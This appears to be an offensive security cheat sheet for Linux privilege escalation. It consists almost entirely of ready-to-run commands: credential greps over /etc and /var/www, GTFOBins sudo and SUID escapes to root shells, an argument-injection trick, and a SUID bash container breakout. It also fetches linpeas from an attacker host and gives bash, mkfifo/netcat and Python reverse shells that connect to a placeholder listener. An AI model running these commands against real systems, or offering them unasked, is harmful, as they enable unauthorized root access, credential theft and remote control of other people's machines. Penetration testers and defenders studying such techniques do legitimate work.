Linux Privilege Escalation
Manual Checks
Check sudo permissions
1
sudo -l
Find SUID binaries
1
find / -perm -4000 -type f 2>/dev/null
Find world-writable files
1
find / -writable -not -path "/proc/*" -not -path "/sys/*" -type f 2>/dev/null
Check cron jobs
1
2
cat /etc/crontab
ls -la /etc/cron.*
Check running processes
1
2
ps aux
ps -ef
Find credentials in config files
1
2
grep -r "password" /etc/ 2>/dev/null
grep -r "password" /var/www/ 2>/dev/null
Check network connections
1
2
ss -tulpn
netstat -tulpn
Sudo Exploitation
GTFOBin — sudo systemctl (less escape)
1
2
3
sudo /usr/bin/systemctl status <SERVICE>
# When less opens (small terminal), type:
!sh
GTFOBin — sudo python3 (arbitrary git ext command)
1
sudo /usr/bin/python3 /path/to/script.py "ext::sh -c touch% /tmp/pwned"
Escape to root shell when sudo bash is available
1
sudo bash
SUID Exploitation
Copy bash and set SUID (requires write to user home mounted in container)
1
2
3
4
5
6
# Inside container (root)
cp /bin/bash /home/<USER>/bash
chmod +s /home/<USER>/bash
# On host as user
/home/<USER>/bash -p
GTFOBin — SUID find
1
find . -exec /bin/sh -p \; -quit
GTFOBin — SUID vim
1
vim -c ':!/bin/sh'
Automated Enumeration
Run linpeas
1
2
3
4
# Transfer
curl -o /tmp/linpeas.sh http://<LHOST>:<LPORT>/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh | tee /tmp/linpeas.out
Run winpeas (Windows)
1
.\winPEASx64.exe
Reverse Shells
Bash reverse shell
1
bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1
mkfifo reverse shell
1
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <LHOST> <LPORT> >/tmp/f
Python reverse shell
1
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Listener
1
nc -lvnp <LPORT>
Upgrade shell to PTY
1
2
3
4
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm